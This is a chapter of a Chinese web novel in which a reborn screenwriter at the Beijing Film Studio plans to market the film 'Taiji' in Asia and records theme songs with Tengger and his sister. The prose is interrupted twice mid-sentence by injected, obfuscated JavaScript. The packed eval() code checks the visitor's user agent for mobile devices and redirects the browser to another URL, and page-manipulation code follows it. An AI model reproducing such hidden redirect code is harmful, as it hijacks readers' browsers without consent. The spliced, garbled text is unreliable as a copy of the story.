葛老爷子皱着眉说道:“我能明白小远子这番话的潜台词,咱们国家的电影以对外输出意识形态为主,动不动就给外国人讲深刻的大道理,但西方人的思想大多是开放的。 你跟他讲道理,他跟你讲自由,咱们又没办法跟他讲自由,拍摄制作的片子不受待见也就无可厚非了。 但是,你这是部武打片啊,李小龙都能在美国开宗立派,你为什么不能尝试着去美帝闯闯看呢?” “情况完全不一样啊大爷,首先说,李小龙是美籍华人,在美国人眼里,他功夫再好那也是自己人。其次,他的功夫片恰巧出现在一个合适的时机里面,您想想看,那时候的好莱坞都是些什么片子? 要么是《星球大战》《粉身碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588052|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨》《教父》系列这种功夫片。 要么是《发条橙》《飞越疯人院》《了不起的盖茨比》这类搞笑、剧情片。 搞笑剧情片咱就不提了,单说功夫片,美国人拍的功夫片,能看么? 这时候的李小龙横空出世,让美国人眼睛一亮就不足为奇了。 但是这种新鲜感一过去,您还觉得我这《太极》在美国有市场吗?” 高远掰开了揉碎了给大家分析了一遍。 “也许美国观众都是大傻帽儿呢。”葛优蔫不出溜说了这么一句。 梁晓声说道:“美国的观众朋友们只会比咱们的欣赏水平高,你也不想想,人家的电影工业发展多少年了,咱们才几个年头儿啊?” 葛优点点头,道:“倒也是。” 高远说道:“所以喽,我的意思是,《太极》这部片子只在亚洲各国转悠,就够我们挣到足够多的外汇了。 尤其是日本市场,他们很吃这种类型的电影。 香港的成龙,一部片子在日本都能卖19亿日元,咱们内地的李连杰不比他差到哪里去吧,卖个20亿日元很困难吗? 我相信,只要先打开亚洲市场,把亚洲市场玩儿明白了,我们将来早晚会走向欧美市场。” 葛优又问道:“19亿日元相当于多少人民币啊?” 高远瞪着他,说道:“我又不是学经济学的,我上哪儿知道去。” 李晨声说道:“这个我倒是知道一些,100日元大概**7**1分钱,你就算吧。” 葛优掰了半天手指头也没掰明白,只是说:“那也不老少了。” 老厂长说道:“是不老少,那就按照你说的办,先把你这部《太极》在亚洲市场里卖一卖。不过这事儿还得麻烦傅奇同志两口子啊,他们有发行权。” 高远笑道:“我反正没想过去香港,具体怎么卖,老厂长跟傅叔叔商量着来呗。” “你想去也得去得了啊,你当去香港那么容易呢?外事部门肯定不会批。” 汪阳叹了声,道:“马上要召开文代会了,傅奇两口子也要回来参加,到时候见个面细聊吧。” 这事儿就这么定了下来。 高远对文代会什么的一点兴趣都没有。 他既不想加入作协,又没打算进厂。 自始至终他都只有一个念头,改革开放的步子再迈得快一些吧,我要开公司,我要签明星,我要当教父,我要一统内娱江湖。 但他也知道,在这个年代里这想法不现实。 版权、发行权、审核、市场等等,处处能卡死你。 你大伯是高跃华也一点招都没有。 但他心里也有主意,北影厂肯定是不会进的。 还是那句话,水池子太深,王八太多,他怕被咬住了不松口再淹死,那重生可就没意义了。 非得进国有单位的话,高远早想到个好去处,他想去明年成立的京台电视艺术创作中心呆两年。 等央视成立了电视剧创作中心后,他资历也攒够了,调过去当个主任啥的,岂不美哉。 当然,他也不会愧对老厂长的培养和重用。 大不了这个“特约编剧”的头衔儿自个儿一直领着就是了,多给北影厂抄几个优秀本子,等老厂长光荣退休,自己欠他的人情也就还得差不多了。 嗯,就这么办。 这顿酒喝到现在,倒是让高远坚定了心志。 第204章 又来沙尘暴 腾格尔到北影厂文学部的时候,高远和胡伟立老师一人捧一缸子茶水边喝边扯闲白。 胡伟立眼圈乌黑,双眼全是血丝,对高远说道:“昨儿一宿没睡啊,前半夜编曲,后半夜找来乐队进行编排,一大早才弄完了音效合成,你这一千块我挣的可真是不容易。” 高远咧嘴一笑,道:“我不大明白啊,按说您不该是个缺钱的人吧?怎么老让我感觉……” “我对钱看得很重,是这个意思吧?” “我年轻,心里怎么想的嘴上就怎么说,口无遮拦的,您别介意。” “嗐,事无不可对人言。我家姑娘要出国读书,每年花费可不少,我在给她挣学费呢。” 高远明白了,又道:“泱泱华夏,礼仪之邦,上孝父母,下教子女。能够无条件对孩子付出的,也就自己的爹娘了。” “小高你这话说得对我心思。” “我不瞒您,今年一共有我三部电影上映,您要是感兴趣,咱们长期合作呗。” “几部?三部?” “对,三部。” 胡伟立看着他,苦笑道:“你可真让我刮目相看了,北电也是有大导演坐镇的,我可从来没听谁说起过,哪位大导演、大编剧一年能写出三部作品并成功改编成电影的。 合作我肯定是愿意的,我缺钱嘛。 咱先把这部《太极》的主题曲和配乐完成了,然后我再看看另外两部作品,根据作品风格创作歌曲。” “成!交给您我放心。” 正说着,腾格尔如约而至。 “高老师,没打扰您工作吧?”他走进来后笑容满面道。 “哟,蓝天大哥,您来了,快请坐,我能有什么工作啊,我给您倒水喝。”高远起身迎接了一下,给他倒了杯水。 “嘿嘿,您还知道我这名字是‘蓝天’的意思啊,您果然学富五车。”腾格尔接过水杯,顺便捧了一句。 高远心说,我不仅知道你这名字是“蓝天”的意思,我还知道你有个汉名叫杨占武呢。 我还知道你上初一那年,和同学们玩耍时自称“教员”,闯了大祸,留下遗书就去**,幸亏被你哥金格尔发现,半路给你截了回去。 要不然,你哪有机会跟张碧晨同台,一嗓子差点儿把那姑娘吓尿了啊。 “我给你介绍一下,这位是电影《太极》的音乐监制,北电音乐系的胡伟立老师。胡老师,这位是我找来的蒙古歌手腾格尔,《英雄谁属》的演唱者。” 高远给两人互相介绍了一番。 胡伟立打量着腾格尔,瘦,双眼不大,民族特征鲜明,短发,长得跟平头哥似的。 腾格尔特谦恭,立马起身主动伸出手说道:“胡老师好,高老师过奖了,我可算不上歌手,只是受父母影响爱好唱歌,请您多指教。” 胡伟立跟他握了握,笑道:“草原上的汉子和姑娘们都有一把好嗓子,能歌善舞像是与生俱来的本事,我去大草原采风,对这点深有感受啊。 你现在从事什么工作啊?” 腾格尔憨厚一笑,道:“我在我们当地艺术学校毕业后留校任教了,教三弦,同时兼任学生乐队的指挥,我哪懂指挥啊,就是瞎比划。 这不,校领导见我比划得不像个样子,就把我送到中央音乐学院指挥系来学习深造了。” 胡伟立哈哈大笑,“这么说,你也是位老师啊,咱俩是同行。” “可不敢与您比肩,您是教授级别的老师,我这个小老师在其位不懂业务,净误人子弟了。”腾格尔很幽默的。 胡伟立又被他逗乐了,站起身,把茶缸子放在桌子上,道:“走吧,去录音棚,我先听听你的音色。” 腾格尔说好,又问高远道:“高老师一起去吗?” 高远笑道:“陪你一起去。” 于是三人出了办公室,奔录音棚。 不得不说,腾格尔对音乐的领悟力非常高,这是天生的。 《英雄谁属》这歌大气恢宏,原版卞留念唱的就是坨粑粑。 腾格尔一亮嗓儿,那股子高亢、粗犷、豪迈的味道就把胡伟立震住了。 他望着高远,心说你姐姐唱得好这我能理解,你俩是亲姐弟,你对她的演唱水平十分熟悉。 这个家伙没名没气的,你是怎么挖掘出来的呀? 高远抱着膀子,心说,没办法啊,谁让哥们儿有未卜先知的能力呢。 腾格尔试唱了一遍,胡伟立非常满意。 立刻进入到正式录制阶段。 一上午时间,腾格尔翻来覆去地唱了十多遍,一遍比一遍发挥出色。 十一点半的时候,整首歌录制结束。 他在北影厂混了顿午饭,领了三百块钱,激动得语无伦次,握着高远的手说:“这……这……还有钱拿啊。” 高远乐了,“当然了,总不能让您白劳动吧,付出就有回报的。” “昨儿您也没提到这茬,我以为,有幸能唱首歌就是雄鹰给我的恩赐了,压根儿没敢想还能获得一笔不菲的劳动报酬。” 说到激动处,老腾眼含泪花,又道:“我在学校教书,一年也挣不到300块啊,高老师,草原的汉子不玩儿那些虚头巴脑的东西,今后您有用得到我的地方,尽管说话。” “好呀,您比我年长几个月,我喊您声腾大哥,咱们今后常来常往吧。”高远心里贼高兴,又得一员猛将。 腾格尔重重点头。 胡伟立这时候说道:“我发现你对音乐有着极强的领悟力,天赋也高,嗓音更是独具韵味,我希望你不要浪费了这份天赋,要继续深造,系统的学习一下音乐知识。 我给你个建议吧,等明年北电音乐系招生,你来参加考试,我是作曲系的主考官,到时候你可以来找我。” 这个暗示相当于明着表示,你来找我,我保证你能被录取了。 腾格尔显然也听明白了,又跟胡伟立握手道:“感谢老师的指点,我懂了,我一定会去参加考试的,到时给您添麻烦。” 上辈子,他明年会考入天津音乐学院作曲系,毕业后被分配到中央民族歌舞团。 这辈子,在高远不经意的操控下,他的人生发生了些许改变。 腾格尔揣着300块钱告辞离开。 胡伟立打了个哈欠,说道:“撑不住了,我得找个地儿睡一会儿,不然下午就没办法工作了。” 高远笑道:“这还不好说么,我在招待所给您开间房就是了。” 胡伟立摇摇头,道:“甭那么麻烦了,我去你办公室沙发上歪会儿就成。” 高远把自己房间的钥匙拿出来,塞到他手上,道:“招待所403是我的房间,您去我房间睡会儿吧,睡床总比睡沙发舒服。” 胡伟立也不跟他客气,笑着说好,向招待所那边走去。 他睡了大概有两个小时,走进录音棚的时候明显精神了很多。 高雅笑嘻嘻跟他打招呼道:“胡老师下午好。” 胡伟立一乐,道:“高老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588053|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师你也好。” 高雅连连摆手道:“可不敢可不敢,您羞煞我也!” 高远说道:“好了,别开玩笑了,干正事儿吧。” 于是开始录制。 姐姐简直太牛了,唱得那叫一个婉转悠扬。 用胡老师的专业话术说,叫中音不显低沉,高音清澈透亮。 这首《两两相望》有多经典就不多赘述了。 上辈子高远没事儿就翻出来听一听。 有一说一,辛晓琪是个被严重低估的歌手,她代表作不少,《领悟》《味道》《女人何苦为难女人》等等。 但传唱度却不高。 究其原因,有她不重视开发内地市场的因素,也有歌曲风格不适合她演唱的因素。 但你不得不承认,《两两相望》这首歌和辛晓琪特别相得益彰。 现如今高雅一唱,又是另一种风格了。 听得高远汗**都立了起来。 两个小时后,录制顺利结束。 高雅从里面走出来,冲高远一伸手,道:“拿来。” 高远装傻,“什么啊?” “揍你一顿好啊?” 好吧,这是天然的血脉压制。 高远摸出300块钱来,递给她,道:“还是李导有先见之明啊,一大早就把钱送到我办公室去了。拿着吧,别乱花啊。” “还用你嘱咐?胡老师,拜拜。”说完,她走了。 既干脆又利索。 胡伟立笑道:“你姐这性格真好。” 高远撇着嘴说道:“没心没肺,活着不累。” 胡伟立哈哈大笑,把高远往外推,道:“你出去吧,我把配乐弄一弄,回头还得去找剪辑师傅往片子里植入。” 高远也不能打扰人家工作,旋即出了门。 进入十月份后,没有秋高气爽,秋老虎反而更加肆虐。 只有树叶子被偶尔刮起的一阵小风吹得窸窸窣窣。 天灰蒙蒙的。 高远叼着根烟站在窗户前,道:“不会又有沙尘暴吧?” 坐在办公桌后面的江淮延说道:“每年总得来那么几回,这有啥稀奇的?” 话音刚落,外面狂风大作,世界变得昏黄,风中裹挟着沙子,像是千万匹土黄色的骏马,鬃**披拂,狂奔而来。 高远乐了,道:“这下好了,国家建设又可以节省一大笔资金了。” 江淮延哈哈大笑,道:“对,这场风沙天气过后,各工地上就不缺沙子用了。” 不远处,一男一女灰头土脸疯狂跑到楼底下,眨眼进了楼。 三分钟后,田壮壮和少红大师走进文学部办公室。 两人一进门就呸呸呸,这是被灌了一嘴沙子。 田壮壮说道:“不好意思啊各位老师,我俩刚走进厂里风就起来了,实在没地方躲,就跑楼里来了,不打扰老师们工作吧?” 施雯心是个好脾气的,跟他俩也熟,笑着说:“没事儿,你俩先找个杯子倒点水漱漱口,等风小一点再回家就成。” 高远拿过来两个茶缸子,给他俩倒了点水,问道:“今儿没去学校吗?” 田壮壮喝口水咕嘟咕嘟,然后吐在痰盂里,道:“今儿周二啊,下午老师们集体学习,我们在学校里没啥事情可干,就回来了。” 过年期间高远跟他吃过一次饭,两人谈不上有多深的交情,顶多算是熟悉了。 他闻言道:“哦,你不说我都把这茬给忘了。话说主任,咱们北影厂怎么从来不组织大家一起学习政策文件啊?”